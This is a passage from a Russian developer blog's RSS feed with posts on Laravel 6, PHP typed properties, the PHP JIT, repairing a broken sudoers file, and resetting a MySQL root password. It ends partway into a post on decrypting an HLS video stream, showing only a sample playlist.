обеспечивает ответ политики авторизации:</p><pre class="line-numbers"><code class="language-php">$response = Gate::inspect('view', $flight);

if ($response-&gt;allowed()) {
    // User is authorized to view the flight...
}

if ($response-&gt;denied()) {
    echo $response-&gt;message();
}</code></pre><p><span style="color: rgb(40, 35, 49); font-size: 38px; font-weight: 700;"><br></span></p><p><span style="color: rgb(40, 35, 49); font-size: 38px; font-weight: 700;">Job Middleware</span><br></p><p>Job Middleware - это функцирнальность, предоставленная Тейлором Отвеллом, которая позволяет выполнять задания через промежуточное ПО:</p><pre class="line-numbers"><code class="language-php">// Add a middleware method to a job class
public function middleware()
{
     return [new SomeMiddleware];
}

// Specify middleware when dispatching a job
SomeJob::dispatch()-&gt;through([new SomeMiddleware]);</code></pre><p>Middleware поможет вам избежать пользовательской логики в теле метода handle() вашей&nbsp;<span style="font-size: 1rem;">Job.</span><br></p><h2>Ленивые Коллекции</h2><p>Ленивые коллекции вносят новые правила работы с обширными коллекциями данных, включая коллекции моделей Eloquent. Новый&nbsp;<span style="font-size: 1rem;">класс&nbsp;</span>Illuminate\Support\LazyCollection использует генераторы PHP для поддержания низкого потребления памяти при работе с большими наборами данных.</p><h2>Расширение Eloquent подзапросами</h2><p>Один из отличных способов перенести большой объем данных в базу данных - использование подзапросов. Подзапросы позволяют запускать вложенные запросы в другом запросе к базе данных. Это может быть мощным способом извлечения данных вспомогательной модели без каких-либо дополнительных запросов к базе данных, когда это невозможно сделать через отношения. Вы также можете использовать подзапросы в&nbsp;<span style="font-size: 1rem;">операторах</span>&nbsp;order by, where и других:</p><pre class="line-numbers"><code class="language-php">//“Select” subqueries
return Destination::addSelect(['last_flight' =&gt; Flight::select('name')
    -&gt;whereColumn('destination_id', 'destinations.id')
    -&gt;orderBy('arrived_at', 'desc')
    -&gt;limit(1)
])-&gt;get();

//“Order by” subqueries
return Destination::orderByDesc(
    Flight::select('arrived_at')
        -&gt;whereColumn('destination_id', 'destinations.id')
        -&gt;orderBy('arrived_at', 'desc')
        -&gt;limit(1)
)-&gt;get();

//“From” subqueries
return DB::table(function ($query) {
    $query-&gt;selectRaw('sum(amount) as total')
        -&gt;from('donations')
        -&gt;groupBy('user_id');
}, 'do</code></pre><p><br></p><div><span style="color: rgb(40, 35, 49); font-size: 38px; font-weight: 700;">Laravel UI</span><br></div><p>Фронтенд поставляемый с выпусками Laravel 5.x, теперь вынесен в отдельный c<span style="font-size: 1rem;">omposer&nbsp;</span>пакет&nbsp; laravel/ui . Если вам нужна традиционная Bootstrap/Vue, необходимо запустить следующую команду:</p><pre class="line-numbers"><code class="language-powershell">composer require laravel/ui
php artisan ui vue --auth</code></pre><p>&nbsp;более подробно можно почитать в документации к релизу&nbsp;<a href="https://laravel.com/docs/6.0/releases" target="_blank" style="font-size: 1rem; background-color: rgb(255, 255, 255);">https://laravel.com/docs/6.0/releases</a><br></p>]]></description>
                <author><![CDATA[Сергей Мухин]]></author>
                <guid>https://sergeymukhin.com/16</guid>
                <pubDate>2019-08-28T03:54:24+00:00</pubDate>
                            </item>
                    <item>
                <title><![CDATA[Типизированные свойства в PHP]]></title>
                <link>https://sergeymukhin.com/blog/tipizirovannye-svoystva-v-php</link>
                <description><![CDATA[<h1 itemprop="headline" class="fn__maintitle">Типизированные свойства в PHP</h1><blockquote>Типизированные свойства классов были добавлены в PHP 7.4 и обеспечивают значительное улучшение системы типов PHP. Эти изменения полностью приняты и обратно совместимы</blockquote><p>В этом посте мы подробно рассмотрим эту новую фичу, но сначала давайте кратко пробежимся по наиболее важным моментам:</p><ul><li>Типизированные свойства доступны с <a href="https://sergeymukhin.com/blog/novoe-v-php-74" target="_blank" style="background-color: rgb(255, 255, 255); font-size: 1rem;">PHP 7.4</a></li><li>Они доступны только в классах и требуют модификатора доступа: public, protected, private; или же var</li><li>Допускаются все типы, за исключением void и callable</li></ul><p>Вот как это выглядит в действии:</p><p><br></p><pre class="line-numbers"><code class="language-php">class Foo
{
    public int $a;

    public ?string $b = 1;

    private Foo $prop;

    protected static string $static = 'default';
}</code></pre><h2>Неинициализированный тип состояния</h2><p>Прежде чем смотреть на так как себя ведут типизированные свойства, есть важный аспект, о котором необходимо поговорить в первую очередь.</p><p>Несмотря на то, что следующий код,&nbsp;<span style="font-size: 1rem;">на первый взгляд, вполне&nbsp;</span>рабочий:</p><p><br></p><pre class="line-numbers"><code class="language-php">class Foo
{
    public int $bar;
}

$foo = new Foo;</code></pre><p>Даже если значение $bar не является целым числом после создания объекта Foo, PHP будет выдавать ошибку только при обращении к&nbsp;<span style="font-size: 1rem;">$bar</span>:</p><p><br></p><pre class="line-numbers"><code class="language-php">var_dump($foo-&gt;bar);


Fatal error: Uncaught Error: Typed property Foo::$bar must not be accessed before initialization</code></pre><p>Как можно заметить из сообщения об ошибке, существует новый тип «состояния переменной»: неинициализированный.<br></p><p>Если бы у&nbsp;<span style="font-size: 1rem;">$bar</span>&nbsp;не было типа, его значение было бы просто null. Однако типы могут быть обнуляемыми, поэтому невозможно определить, было ли установлено типизированное свойство обнуляемого типа или просто забыто. Вот почему&nbsp;<span style="font-size: 1rem;">&nbsp;</span><span style="font-size: 1rem;">было добавлено&nbsp;</span><span style="font-size: 1rem;">"неинициализированное"</span><span style="font-size: 1rem;">&nbsp;состояние</span>.</p><p>Есть четыре важных момента, которые нужно помнить о неинициализированных состояниях:</p><ul><li>Вы не можете считать значение из неинициализированных свойств, это приведет к фатальной ошибке.</li><li>Поскольку при обращении к свойству проверяется неинициализированное состояние, вы можете создать объект с неинициализированным свойством, даже если его тип не имеет значения NULL.</li><li>Вы можете написать неинициализированное свойство перед чтением из него.</li><li>Использование unset в типизированном свойстве сделает его неинициализированным, в то время как отключение нетипизированного свойства сделает его null.</li></ul><p>Особенно обратите внимание, что следующий код, где неинициализируемое, ненулевое свойство устанавливается после создания объекта, является рабочим:</p><p><br></p><pre class="line-numbers"><code class="language-php">class Foo
{
    public int $a;
}

$foo = new Foo;

$foo-&gt;a = 1;</code></pre><p>Хотя неинициализированное состояние проверяется только при чтении значения свойства, так же проверка типа выполняется и при записи в него. Это означает, что вы можете быть уверены, что недопустимый тип никогда не окажется в качестве значения свойства.</p><h2>Значения по умолчанию и конструкторы</h2><p>Давайте подробнее рассмотрим, как можно инициализировать типизированные значения. В случае скалярных типов можно указать значение по умолчанию:</p><p><br></p><pre class="line-numbers"><code class="language-php">class Foo
{
    public int $bar = 4;
    
    public ?string $baz = null;
    
    public array $list = [1, 2, 3];
}</code></pre><p>Вы можете использовать null по умолчанию, только если тип на самом деле обнуляем. Это может показаться очевидным, но есть некоторое устаревшее поведение с параметрами по умолчанию, где допускается следующее:</p><p><br></p><pre class="line-numbers"><code class="language-php">function passNull(int $i = null)
{ 
    /* … */ 
}

passNull(null);</code></pre><p>&nbsp;</p><p>К счастью, такое вводящее в заблуждение поведение недопустимо для типизированных свойств.</p><p>Также обратите внимание, что невозможно иметь значения по умолчанию с object типами или классами. Вы должны использовать конструктор, чтобы установить их значения по умолчанию.<br></p><p>Очевидным местом для инициализации типизированных значений, конечно же, будет конструктор:</p><p><br></p><pre class="line-numbers"><code class="language-php">class Foo
{
    private int $a;

    public function __construct(int $a)
    {
        $this-&gt;a = $a;
    }
}</code></pre><p>Но также помните, что я упоминал ранее: допустимо писать в неинициализированное свойство вне конструктора. Пока из свойства ничего не читается, неинициализированная проверка не выполняется.<br></p><h2>Типы типов</h2><p>Я уже упоминал, что типизированные свойства будут работать только в классах (пока), и что им нужен модификатор доступа или ключевое слово&nbsp;<span style="font-size: 1rem;">var</span>&nbsp;перед ними.</p><p>Что касается доступных типов, то могут использоваться почти все типы, кроме void и callable.<br></p><p>Поскольку void означает отсутствие значения, имеет смысл, что его нельзя использовать для ввода значения. А вот с callable есть небольшой нюанс.<br></p><p>Callable в PHP может быть написан так:</p><p><br></p><pre class="line-numbers"><code class="language-php">$callable = [$this, 'method'];</code></pre><p>Скажем, у вас будет следующий (неработающий) код:</p><p><br></p><pre class="line-numbers"><code class="language-php">class Foo
{
    public <u>callable</u> $callable;
    
    public function __construct(<u>callable</u> $callable)
    { /* … */ }
}

class Bar
{
    public Foo $foo;
    
    public function __construct()
    {
        $this-&gt;foo = new Foo([$this, 'method'])
    }
    
    private function method()
    { /* … */ }
}

$bar = new Bar;

($bar-&gt;foo-&gt;<u>callable</u>)();</code></pre><p>В этом примере $callable относится к частному Bar::method, но вызывается в контексте Foo. Из-за этой проблемы и было решено не добавлять callable в список поддерживаемых типов.</p><p>Это не имеет большого значения, потому что замыкания (Closure) это допустимый тип, который будет помнить&nbsp;<span style="font-size: 1rem;">контекст&nbsp;</span>$this, в котором он был создан.</p><p>С учетом всего написанного, вот список всех доступных типов:</p><ul><li>bool (логический)</li><li>int (целый)</li><li>float (вещественный)</li><li>string (строковый)</li><li>array (массив)</li><li>iterable (псевдотип)</li><li>object (объект)</li><li>? (nullable)</li><li>self (объект того же тип)</li><li>classes (классы)</li></ul><h2>Принуждаемые и строгие типы</h2><p>PHP, будучи динамическим языком, за что его любят и ненавидят, будет стараться по возможности приводить или преобразовывать типы. Допустим, вы передаете строку, где ожидаете целое число, PHP попытается автоматически преобразовать эту строку:</p><p><br></p><pre class="line-numbers"><code class="language-php">function coerce(int $i)
{ /* … */ }

coerce('1'); // 1</code></pre><p>Те же принципы применяются к типизированным свойствам. Следующий код валиден и преобразует '1'в 1:</p><p><br></p><pre class="line-numbers"><code class="language-php">class Bar
{
    public int $i;
}

$bar = new Bar;

$bar-&gt;i = '1'; // 1</code></pre><p>Если вам не нравится это поведение, вы можете отключить его, объявив строгие типы:</p><p><br></p><pre class="line-numbers"><code class="language-php">declare(strict_types=1);

$bar = new Bar;

$bar-&gt;i = '1'; // 1

Fatal error: Uncaught TypeError: Typed property Bar::$i must be int, string used</code></pre><p><span style="color: rgb(40, 35, 49); font-size: 38px; font-weight: 700;"><br></span></p><h2><span style="color: rgb(40, 35, 49); font-size: 38px; font-weight: 700;">Типовая дисперсия и наследование</span></h2><p>Несмотря на то, что в PHP 7.4 появилась <a href="https://sergeymukhin.com/blog/novoe-v-php-74" target="_blank">улучшенная дисперсия типов</a>, типизированные свойства все еще остаются неизменными. Это означает, что следующий код будет не валиден:</p><p><br></p><pre class="line-numbers"><code class="language-php">class A {}
class B extends A {}

class Foo
{
    public A $prop;
}

class Bar extends Foo
{
    public B $prop;
}

Fatal error: Type of Bar::$prop must be A (as in class Foo)</code></pre><p>Если приведенный выше пример не убедил вас, то взгляните на следующий пример:</p><p><br></p><pre class="line-numbers"><code class="language-php">class Foo
{
    public self $prop;
}

class Bar extends Foo
{
    public self $prop;
}</code></pre><p>PHP за кадром заменит&nbsp;<span style="font-size: 1rem;">self на&nbsp;</span>конкретный класс, на который он ссылается, перед запуском кода. Это означает, что в этом примере будет сгенерирована та же ошибка. Единственный способ справиться с этим - сделать следующее:</p><p><br></p><pre class="line-numbers"><code class="language-php">class Foo
{
    public Foo $prop;
}

class Bar extends Foo
{
    public Foo $prop;
}</code></pre><p>Говоря о наследовании, вам может быть трудно найти какие-либо хорошие варианты использования для перезаписи типов унаследованных свойств.<br></p><p>Хотя я согласен с этим мнением, стоит отметить, что можно изменить тип унаследованного свойства, но только если модификатор доступа также изменится с private на protected или public:</p><p><br></p><pre class="line-numbers"><code class="language-php">class Foo
{
    private int $prop;
}

class Bar extends Foo
{
    public string $prop;
}</code></pre><p>Однако изменение типа с обнуляемого на ненулевое или обратное не допускается.</p><p><br></p><pre class="line-numbers"><code class="language-php">class Foo
{
    public int $a;
    public ?int $b;
}

class Bar extends Foo
{
    public ?int $a;
    public int $b;
}

Fatal error: Type of Bar::$a must be int (as in class Foo)</code></pre><p><b style="font-size: 38px; color: rgb(40, 35, 49);"><br></b></p><h2><b style="font-size: 38px; color: rgb(40, 35, 49);">Еще кое-что</b></h2><p>Как было сказано в начале этого поста, типизированные свойства являются основным дополнением к PHP. Можно еще много чего сказать о них. Я бы посоветовал вам прочитать <a href="https://wiki.php.net/rfc/typed_properties_v2" target="_blank">RFC</a>, чтобы узнать больше деталей.<br></p><p>Если вы еще не читали о полном списке внесенных изменений и добавленных функций&nbsp;<span style="font-size: 1rem;">в <a href="https://sergeymukhin.com/blog/novoe-v-php-74" target="_blank">PHP 7.4</a>, то советую незамедлительно это сделать.&nbsp;</span>Честно говоря, это один из лучших релизов за последнее время, и оно того стоит!</p>]]></description>
                <author><![CDATA[Сергей Мухин]]></author>
                <guid>https://sergeymukhin.com/13</guid>
                <pubDate>2019-06-14T08:39:52+00:00</pubDate>
                            </item>
                    <item>
                <title><![CDATA[PHP JIT]]></title>
                <link>https://sergeymukhin.com/blog/php-jit</link>
                <description><![CDATA[<h1 itemprop="headline" class="fn__maintitle">PHP JIT</h1><blockquote>Несмотря на то, что JIT может не предлагать каких-либо существенных краткосрочных улучшений, нужно понимать, что он откроет множество возможностей для роста PHP как в качестве веб-языка, так и в качестве языка общего назначения</blockquote><p>Что такое JIT? JIT - это Just In Time, или просто компиляция "на лету", вы вероятно знаете, что PHP является интерпретируемым языком, он не компилирует программы в прямом смысле этого значения, как, например это делают C,&nbsp;Haskell, Go или Rust.&nbsp;</p><p>PHP реализован на базе виртуальной машины (Zend VM). Язык компилирует исходный PHP-код в инструкции, которые понимает виртуальная машина (это называется стадией компиляции). Полученные на стадии компиляции инструкции виртуальной машины называются опкоды (opcodes). На стадии исполнения (runtime) Zend VM исполняет опкоды, выполняя тем самым требуемую работу.&nbsp;Операционные коды довольно низкоуровневые, поэтому их гораздо быстрее преобразовать в машинный код, чем в исходный код PHP. В ядре PHP есть расширение OPcache для кэширования этих кодов операций.</p><p><img src="/files/blog/2019/php-jit-Q2kqUf.jpeg"></p><blockquote>«Just In Time» - это стратегия компилятора, при которой, во время выполнения приложения, компилируются части кода, так что вместо интерпретирования каждый раз, можно всегда использовать скомпилированную версию.</blockquote><p>Это можно представить себе как «кэшированную версию» интерпретируемого кода, сгенерированного во время выполнения.&nbsp;</p><p>В PHP это означает, что JIT будет рассматривать полученные на стадии компиляции инструкции для виртуальной машины как промежуточное представление и выдавать машинный код, который будет выполняться уже не Zend VM, а непосредственно процессором.</p><p><img src="/files/blog/2019/php-jit-4RbTod.jpeg"></p><h2>Как это работает?</h2><p>Есть так называемый «монитор», который будет смотреть на код во время его работы. Когда этот монитор обнаруживает повторяющиеся части вашего кода, он помечает эти части как «теплые» или «горячие», в зависимости от частоты использования.</p><p>Эти горячие части могут быть скомпилированы как оптимизированный машинный код и использоваться на лету, в нужный момент, вместо реального кода. Конечно на самом деле все гораздо сложнее, если вы хотите узнать больше, вы можете чекнуть ускоренный <a href="https://hacks.mozilla.org/2017/02/a-crash-course-in-just-in-time-jit-compilers/" target="_blank">курс Mozilla в JIT-компиляторах</a>.</p><p>Для этого поста в блоге достаточно понять, что JIT-компилятор может значительно улучшить производительность вашей программы...ну или нет :))<br></p><p>Зеев&nbsp;Сураски, один из разработчиков ядра PHP, недавно продемонстрировал демо с генерацией фракталов:<br></p><p><br></p><div class="embed-responsive embed-responsive-16by9" style="float: none;"><iframe frameborder="0" src="//www.youtube.com/embed/dWH65pmnsrI?&amp;loop=0" width="auto" height="auto" class="embed-responsive note-video-clip"></iframe></div><p>Необычно для PHP, не правда ли? "Слон в комнате": Часто ли вы видели, чтобы PHP использу для создания фрактальных анимаций :)))</p><p>Зная, что JIT-компилятор пытается идентифицировать «горячие» части вашего кода, вы можете догадаться, почему он оказывает такое влияние на фрактальный пример: множество одних и тех же вычислений происходит снова и снова.<br></p><p>Однако, поскольку PHP чаще всего используется при создании веб-приложений, мы также должны измерить влияние JIT именно на эту область.<br></p><p>А оказывается, что во время обработки веб-запроса кода гораздо меньше. Это не означает, что JIT вообще не может улучшить производительность сети, но мы уже не увидим подобных улучшений, как в случае с фрактальным примером.&nbsp;Дело в том, что в большинстве случаев PHP-приложения ограничены по вводу-выводу (I/O bound, обработка сетевых соединений, чтение и запись файлов, обращение к СУБД, кэширование и т.п.), а JIT лучше всего работает с кодом, который ограничен по процессору (CPU bound).<br></p><p>Это причина, чтобы отказаться от JIT? Точно нет! Есть веские аргументы, чтобы добавить его, хотя это может и не оказать должного влияния на производительность, на которую мы все же надеемся.<br></p><blockquote>JIT открывает возможности для использования PHP как очень производительного языка вне области веб.</blockquote><p>Это достаточно веские аргументы в пользу JIT. К сожалению, есть аргументы и против JIT:<br></p><p>- Сложность в обслуживании<br></p><p>Поскольку JIT генерирует машинный код, вы можете представить его как достаточно сложный материал для понимания «программистом языка более высокого уровня».</p><p>Имея машинный код в качестве вывода, будет сложнее отлаживать возможные ошибки в JIT-компиляторе PHP. К счастью, есть инструменты, помогающие отладке. Но все же, это машинный код.<br></p><p>Скажем, в JIT-компиляторе есть ошибка, вам нужен разработчик, который знает, как ее исправить. Дмитрий Стогов - тот, кто до сих пор делал большую часть кода, и да, надо помнить, что разработка ядра PHP осуществляется на добровольной основе сообществом контрибьюторов.<br></p><p>Так вот, на сегодняшний день, лишь несколько человек могут поддерживать такую ​​кодовую базу, поэтому вопрос о том, можно ли поддерживать компилятор JIT должным образом, кажется оправданным.</p><p>Конечно, люди могут узнать, как работает компилятор. Но это все же сложный материал. Прямо сейчас он насчитывает около 50+ тысяч строк кода. И обратите внимание: это не обычная база кодов клиент-веб-приложение. Это почти-так-же-близко-как-программирования-CPU .</p><p>Опять же, это не должно быть причиной отказа от JIT, но стоимость обслуживания должна быть тщательно продумана.<br></p><p>Стоит упомянуть еще одну деталь:</p><p><b>Кроссплатформенность</b>. Начиная с последних версий, JIT также работает в Windows и Mac! Большой шаг вперед.</p><h2>Так и зачем нам это?</h2><p>Если после всего выше написанного вы думаете, что JIT предлагает небольшие краткосрочные преимущества для ваших веб-приложений, вы совершенно правы. Трудно сказать, какое влияние это окажет на производительность приложения, прежде чем выйдет окончательный релиз и разработчики не опробуют его в боевых реалиях.</p><p>Конечно не будучи экспертом в этой области, все это кажется очень сложным, но очень интересно видеть как такие вещи движутся в мире PHP. Мне очень любопытно, куда этот путь приведет. Это может сделать PHP более жизнеспособным выбором для таких ресурсоемких процессов, как, например, машинное обучение,&nbsp;3D-рендеринг, 2D (графический интерфейс) и анализ данных, и это лишь некоторые из них.</p><h2>JIT безопасность</h2><p>JIT скомпилирует коды операций в машинный код и выполнит их. Все это находится в памяти. Проблема заключается в том, что по соображениям безопасности память должна быть доступна либо для записи, либо для исполнения (W ^ X). Но никогда не одновременно.</p><p>Текущая реализация PHP&nbsp; отключает запись в буфер JIT&nbsp; во время выполнения, используя системный вызов mprotect(). Это означает, что он скомпилирует код, запишет его в память и защитит его, чтобы сделать его недоступным для записи во время выполнения, предотвращая всевозможные эксплойты.<br></p><p>В настоящее время есть 2 основных расширения PHP, которые нарушают принцип W ^ X. Phar и PCRE JIT. Но новый PHP JIT в opcache с самого начала учитывает W ^ X, что очень радует.<br></p><p>Проверка текущей версии JIT на OpenBSD 6.0, в которой по умолчанию включен W ^ X, показывает, что все работает нормально. Нарушений нет. Обратите внимание, что SELinux (Security-Enhanced Linux) также включает такие виды защиты.</p><p><br></p><hr><p>Ну и последнее, в&nbsp;<a href="https://wiki.php.net/rfc/jit" target="_blank" style="background-color: rgb(255, 255, 255);">JIT RFC</a>&nbsp;было предложено включить JIT в PHP 8, а также добавить экспериментальную версию в <a href="https://sergeymukhin.com/blog/novoe-v-php-74" target="_blank">PHP 7.4</a>. К сожалению или счастью, RFC прошел только для PHP 8, но не для версии 7.4. Это означает, что нам придется подождать до PHP 8, прежде чем мы сможем опробовать его на реальных проектах. Конечно, вы можете скомпилировать PHP 8 из исходного кода, если хочется "пощупать" его уже сейчас.<br></p>]]></description>
                <author><![CDATA[Сергей Мухин]]></author>
                <guid>https://sergeymukhin.com/12</guid>
                <pubDate>2019-06-11T03:49:22+00:00</pubDate>
                            </item>
                    <item>
                <title><![CDATA[Поврежденный /etc/sudoers - ошибка в синтаксисе]]></title>
                <link>https://sergeymukhin.com/blog/povrezhdennyy-etc-sudoers-oshibka-v-sintaksise</link>
                <description><![CDATA[<h1 class="fn__maintitle" itemprop="headline">Поврежденный /etc/sudoers - ошибка в синтаксисе</h1><blockquote><p>Так или иначе, когда-нибудь нам сужденно столкнуться с правкой файла /etc/sudoers ...и не всегда редактирование заканчивается успешно, если ты такой же "удачливый" гоу под спойлер</p></blockquote><p>Обычная ситуация, вам нужно подредактировать права суперпользователя, в файле /etc/sudoers. Но никто не застрахован от ошибок, и&nbsp;я снова наступил на те же грабли спустя год, вместо команды <strong>sudo visudo</strong>&nbsp;я отредактировал файл с помощью стандартного <strong>sudo nano /etc/sudoers</strong>&nbsp;и&nbsp;после сохранения всех правок и попытке использовать права&nbsp; суперпользователя, система выдала ошибку:</p><p><br></p><pre class="language-"><code class="language-">&gt;&gt;&gt; /etc/sudoers: syntax error near line 23 &lt;&lt;&lt;
sudo: parse error in /etc/sudoers near line 23
sudo: no valid sudoers sources found, quitting
sudo: unable to initialize policy plugin</code></pre><p>Синтаксис еррор, короче повредил синтаксис файла своими кривыми ручонками.<br></p><p>Есть достаточно тривиальный способ решения проблемы, использовать:<br></p><pre class="language-"><code class="language-">pkexec visudo</code></pre><p>Пуфффф...И вопрос с редактированием /etc/sudoers решится сам собой. А если потребуется отредактировать файлы в директории /etc/sudoers.d/ то можно ввести:<br></p><pre class="language-"><code class="language-">pkexec visudo -f /etc/sudoers.d/&lt;file_name&gt;</code></pre><p>ПРОФИТ!</p><p>Но в этот раз что-то пошло не так, и я получил в ответ:</p><pre class="language-"><code class="language-">==== AUTHENTICATING FOR org.freedesktop.policykit.exec ===
Authentication is needed to run '/usr/sbin/visudo' as the super user
Authenticating as: user,,, (name) Password:  polkit-agent-helper-1:
error response to PolicyKit daemon: GDBus.Error:org.freedesktop.PolicyKit1.Error.Failed: No session for cookie
==== AUTHENTICATION FAILED === 
Error executing command as another user: Not authorized
This incident has been reported.</code></pre><blockquote><p>Интересная ситуация, чтобы редактировать sudoers мне нужны права суперпользователя, но получить я их могу, только "починив" файл sudoers - замкнутый круг. Но есть гениальный выход из этой ситуации:</p></blockquote><p>Откройте два сеанса ssh к серваку (или работа в двух терминалах или две вкладки в терминале, я использую Guake Terminal ).<br></p><p>В <strong>первом</strong> сеансе получите PID bash:</p><pre class="language-"><code class="language-">echo $$</code></pre><br><p>Во <strong>второй</strong> сессии запустите агент аутентификации с помощью:</p><pre class="language-"><code class="language-">#PID - полученный идентификатор процесса 
pkttyagent --process PID</code></pre><br><p>Вернувшись в <strong>первый сеанс</strong>, запустите:</p><pre class="language-"><code class="language-">pkexec visudo</code></pre><br><p>На <strong>втором</strong> сеансе вы получите приглашение пароля:</p><pre class="language-"><code class="language-">==== AUTHENTICATING FOR org.freedesktop.policykit.exec ===
Для запуска приложения '/usr/sbin/visudo' от имени суперпользователя требуется аутентификация
Authenticating as: user,,, (name)
Password: 
==== AUTHENTICATION COMPLETE ===
</code></pre><p></p><p><u>visudo запуститься в </u><strong><u>первой</u></strong><u> сессии.</u></p><p>Туда-сюда, туда-сюда и проблема решена! Ну и напоследок совет, при правках используйте sudo visudo, т.к. он проверяет синтаксис перед сохранением файла, и если что-то пойдет не так, то выдаст предупреждение:</p><pre class="language-"><code class="language-">&gt;&gt;&gt; /etc/sudoers: syntax error near line 30 &lt;&lt;&lt;
What now?                                             #Что будем делать?
Options are:
  (e)dit sudoers file again                           #снова редактировать
  e(x)it without saving changes to sudoers file       #выйти без сохранения
  (Q)uit and save changes to sudoers file (DANGER!)   #сохранить изменения (3,14здец!)
What now? x
</code></pre>]]></description>
                <author><![CDATA[Сергей Мухин]]></author>
                <guid>https://sergeymukhin.com/10</guid>
                <pubDate>2019-05-29T09:38:02+00:00</pubDate>
                            </item>
                    <item>
                <title><![CDATA[Сброс root пароля для MySQL 5.7 в Linux]]></title>
                <link>https://sergeymukhin.com/blog/sbros-root-parolya-dlya-mysql-57-v-linux</link>
                <description><![CDATA[<h1 itemprop="headline" class="fn__maintitle">Сброс root пароля для MySQL 5.7 в Linux</h1><blockquote>Иногда нам приходится сталкиваться с проблемой восстановления root пароля в "Мускуле", разные причины могли нас привести к этому плачевному результату, но выход обычно лежит на поверхности</blockquote><div>На днях, у нас на работе, студенты-практиканты забыли пароль, который задавали при установке Mysql, ну бывает, сам только несколько месяцев назад восстанавливал root пароль на сервере после неудачной установки, и помнится никакие apt remove --purge не помогали снести Mysql "подчистую", для новой переустановки.</div><div><br></div><div>Иногда дополнительную сложность вызывает еще то, что восстановление пароля для более старших версий СУБД немного отличается для более свежих, что приводит к некоторым уже неработающим инструкциям.</div><div><br></div><div>Поэтому пришлось вспоминать как запустить "Мускул" в безопасном режиме для версии 5.7 и сделать небольшую заметку для себя в будущем, надеюсь и вам пригодится этот краткий гайд:&nbsp; &nbsp;&nbsp;</div><div><br></div><pre class="line-numbers"><code class="language-powershell">#Останавливаем Mysql
sudo service mysql stop</code></pre><div><br></div><pre class="line-numbers"><code class="language-powershell">#Создаем папку для сокета
sudo mkdir /var/run/mysqld</code></pre><div><br></div><pre class="line-numbers"><code class="language-powershell">#Даем права пользователю mysql 
sudo chown mysql: /var/run/mysqld</code></pre><div><br></div><pre class="line-numbers"><code class="language-powershell">#Запускаем Mysql без проверки каких-либо разрешений
sudo mysqld_safe --skip-grant-tables --skip-networking &amp;</code></pre><div><br></div><div>Тут стоит заметить, что после ввода выше написанной команды, терминал войдет в режим ожидания ввода от вас ниже следующей команды:</div><div><br></div><pre class="line-numbers"><code class="language-powershell">#Логинимся в базу mysql без пароля
mysql -u root mysql</code></pre><div><br></div><pre class="line-numbers"><code class="language-sql">#Делаем запрос на обновление пароля у пользователя root
UPDATE mysql.user SET authentication_string=PASSWORD('ВАШ_НОВЫЙ_ПАРОЛЬ'), plugin='mysql_native_password' WHERE user='root' AND host='localhost';</code></pre><div><br></div><pre class="line-numbers"><code class="language-sql">#Выходим из Mysql
EXIT;</code></pre><div><br></div><pre class="line-numbers"><code class="language-powershell">#"Убиваем" запущенный Mysql 
sudo mysqladmin -S /var/run/mysqld/mysqld.sock shutdown</code></pre><div><br></div><pre class="line-numbers"><code class="language-powershell">#Запускаем Mysql в нормальном режиме
sudo service mysql start</code></pre><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div>]]></description>
                <author><![CDATA[Сергей Мухин]]></author>
                <guid>https://sergeymukhin.com/9</guid>
                <pubDate>2019-05-28T03:56:44+00:00</pubDate>
                            </item>
                    <item>
                <title><![CDATA[Расшифровка hls потока с помощью openssl_decrypt]]></title>
                <link>https://sergeymukhin.com/blog/rasshifrovka-hls-potoka-s-openssl-decrypt</link>
                <description><![CDATA[<h1 itemprop="headline" class="fn__maintitle">Расшифровка hls потока с помощью openssl_decrypt</h1><blockquote>Что использовать для расшифровки hls стрима, краткий гайд для работы с функцией openssl_decrypt() в в PHP</blockquote><h2>С чего все началось</h2><p>Один из моих проектов выкачивает видео с одного достаточно популярного сайта, но уже несколько потерявшего свое былое величие. С недавних пор этот сайт начал отдавать видео, зашифрованное с помощью алгоритма <b>AES-128</b>. Пользователи начали жаловаться на то, что скачанное видео не воспроизводится, что вылилось в срочную доработку кода "качалки" видео.<br></p><h2>Что имеем на руках<br></h2><p>Итак, у нас есть обычный плейлист m3u8 потока в виде:</p><p><br></p><pre class="line-numbers"><code class="language-textile">#EXTM3U
#EXT-X-PLAYLIST-TYPE:VOD
#EXT-X-TARGETDURATION:4
#EXT-X-VERSION:6
#EXT-X-INDEPENDENT-SEGMENTS
#EXT-X-MEDIA-SEQUENCE:0
#EXT-X-PROGRAM-DATE-TIME:2019-04-18T04:29:04.871Z
#EXT-X-KEY:METHOD=AES-128,URI="hlsEncryptionKey?stream_name=LhSX5NKOZDnZEBlbXQjdyq86CWWVjx-wqvhT_oQ7UJ-0HUweUwmPYb0WiocgyTwTAjZ4R7sF16l48l5LHUzx7A",IV=0x07a6ed33e15beca7f64e57e5137f7fde
#EXTINF:2.035,
k0_chunk_1555561741998417630_0_a.ts
#EXT-X-PROGRAM-DATE-TIME:2019-04-18T04:29:06.907Z
#EXT-X-KEY:METHOD=AES-128,URI="hlsEncryptionKey?stream_name=LhSX5NKOZDnZEBlbXQjdyq86CWWVjx-wqvhT_oQ7UJ-0HUweUwmPYb0WiocgyTwTAjZ4R7sF16l48l5LHUzx7A",IV=0xb51d4f0db93191e12fd7cb405596f57c
#EXTINF:3.198,
k0_chunk_1555561742000754678_1_a.ts
#EXT-X-PROGRAM-DATE-TIME:2019-04-18T04:29:10.104Z
#EXT-X-KEY:METHOD=AES-128,URI="hlsEncryptionKey?stream_name=LhSX5NKOZDnZEBlbXQjdyq86CWWVjx-wqvhT_oQ7UJ-0HUweUwmPYb0WiocgyTwTAjZ4R7sF16l48l5LHUzx7A",IV=0xc24dd0563a70e8b70b499f173d7e11eb
#EXTINF:3.212,
k0_chunk_1555561742002319677_2_a.ts
#EXT-X-PROGRAM-DATE-TIME:2019-04-18T04:29:13.316Z
#EXT-X-KEY:METHOD=AES-128,URI="hlsEncryptionKey?stream_name=LhSX5NKOZDnZEBlbXQjdyq86CWWVjx-wqvhT_oQ7UJ-0HUweUwmPYb0WiocgyTwTAjZ4R7sF16l48l5LHUzx7A",IV=0xfe07b0f27f9bb09a156208859cf7a9fd
#EXTINF:3.224,
k0_chunk_1555561747042459190_3_a.ts
#EXT-X-PROGRAM-DATE-TIME:2019-04-18T04:29:16.540Z
#EXT-X-KEY:METHOD=AES-128,URI="hlsEncryptionKey?stream_name=LhSX5NKOZDnZEBlbXQjdyq86CWWVjx-wqvhT_oQ7UJ-0HUweUwmPYb0WiocgyTwTAjZ4R7sF16l48l5LHUzx7A",IV=0x6ce77aa4e50f4724395e90536da47234
#EXTINF:3.228,

